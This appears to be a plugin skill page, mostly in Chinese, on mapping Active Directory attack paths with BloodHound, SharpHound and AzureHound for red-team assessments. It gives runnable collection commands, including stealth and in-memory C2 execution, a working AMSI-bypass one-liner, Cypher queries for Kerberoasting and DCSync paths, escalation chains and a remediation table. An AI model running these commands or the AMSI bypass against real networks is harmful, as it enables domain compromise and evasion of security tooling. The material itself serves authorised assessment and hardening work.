Uses BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from controlled users to domain admins.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
BloodHound 是一个开源活动目录侦察工具,使用图论揭示 AD 环境中隐藏的关系、攻击路径和权限提升机会。通过使用 SharpHound(或用于 Azure AD 的 AzureHound)收集数据,BloodHound 可视化攻击者如何通过错误配置、组成员关系、ACL 滥用和信任关系链,从低权限用户升级到域管理员。MITRE ATT&CK 将 BloodHound 分类为软件 S0521。
Maps Active Directory attack paths using BloodHound and SharpHound to identify privilege escalation chains from compromised accounts to domain admins.
Uses BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin. For red-teaming and security audits.
Uses BloodHound and SharpHound to enumerate Active Directory relationships, reveal attack paths, and identify privilege escalations to Domain Admin during security assessments.
Share bugs, ideas, or general feedback.
BloodHound 是一个开源活动目录侦察工具,使用图论揭示 AD 环境中隐藏的关系、攻击路径和权限提升机会。通过使用 SharpHound(或用于 Azure AD 的 AzureHound)收集数据,BloodHound 可视化攻击者如何通过错误配置、组成员关系、ACL 滥用和信任关系链,从低权限用户升级到域管理员。MITRE ATT&CK 将 BloodHound 分类为软件 S0521。
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1087.002 | 账户发现:域账户 | 发现 |
| T1069.002 | 权限组发现:域组 | 发现 |
| T1018 | 远程系统发现 | 发现 |
| T1482 | 域信任发现 | 发现 |
| T1615 | 组策略发现 | 发现 |
| T1069.001 | 权限组发现:本地组 | 发现 |
# 收集所有数据类型(用户、组、计算机、会话、ACL、信任、GPO)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# 隐蔽模式 - 仅收集结构数据(不进行会话枚举)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# 使用特定域和凭据收集
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# 循环收集 - 随时间收集会话以获得更好的覆盖率
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# 从 Havoc C2 Demon 会话收集(内存中)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
# 导入并运行
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# 加载前的 AMSI 绕过(如有需要)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 收集 Azure AD 数据
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# 或使用 AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
# 使用 Docker 启动 BloodHound CE
curl -L https://ghst.ly/getbhce | docker compose -f - up
# 访问 Web 界面:https://localhost:8080
# 默认凭据:admin / bloodhound
# 通过 GUI 上传 ZIP 文件:上传数据 > 选择文件
# 启动 Neo4j
sudo neo4j start
# 访问 Neo4j:http://localhost:7474(默认 neo4j:neo4j)
# 启动 BloodHound GUI
./BloodHound --no-sandbox
# 将 ZIP 文件拖放到 BloodHound GUI 中
-- 查找所有域管理员
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- 从已控制用户到域管理员的最短路径
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- 查找具有到 DA 路径的 Kerberoastable 用户
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- 查找 AS-REP Roastable 用户
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- 具有 DCSync 权限的用户
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- 查找域用户是本地管理员的计算机
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- 查找具有非约束委派的计算机
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- 查找约束委派滥用路径
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO 滥用路径
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- 查找高价值目标上的所有会话
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
-- 查找对其他用户具有 GenericAll 权限的用户(密码重置路径)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- 查找 WriteDACL 路径(ACL 滥用)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- 查找对特权组的 AddMember 权限
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- 映射信任关系
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- 查找具有管理员访问权限的服务账户
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
已控制用户 -> Kerberoastable SVC 账户 -> 破解哈希 -> SVC 是服务器管理员 ->
服务器有 DA 会话 -> 窃取令牌 -> 域管理员
已控制用户 -> 对用户2 的 GenericAll -> 重置密码 -> 用户2 是成员 ->
IT 管理员 -> DC 管理员 -> 域管理员
已控制用户 -> 服务器管理员(非约束委派)->
强制 DC 认证(PrinterBug/PetitPotam)-> 捕获 TGT -> DCSync
已控制用户 -> GPO 上的 GenericWrite -> 修改 GPO -> OU 计算机上的计划任务 ->
以 SYSTEM 身份执行代码
| 发现 | 风险 | 修复措施 |
|---|---|---|
| Kerberoastable 的 DA | 严重 | 使用 gMSA、轮换密码、仅 AES |
| 非约束委派 | 严重 | 迁移到约束/RBCD 委派 |
| 域用户是本地管理员 | 高 | 从本地管理员中删除 DA,使用 LAPS |
| 过多的 ACL 权限 | 高 | 审计并减少 GenericAll/WriteDACL |
| 陈旧的管理员会话 | 中 | 实施会话清理,限制 RDP |
| 跨域信任滥用 | 高 | 审查信任方向和 SID 过滤 |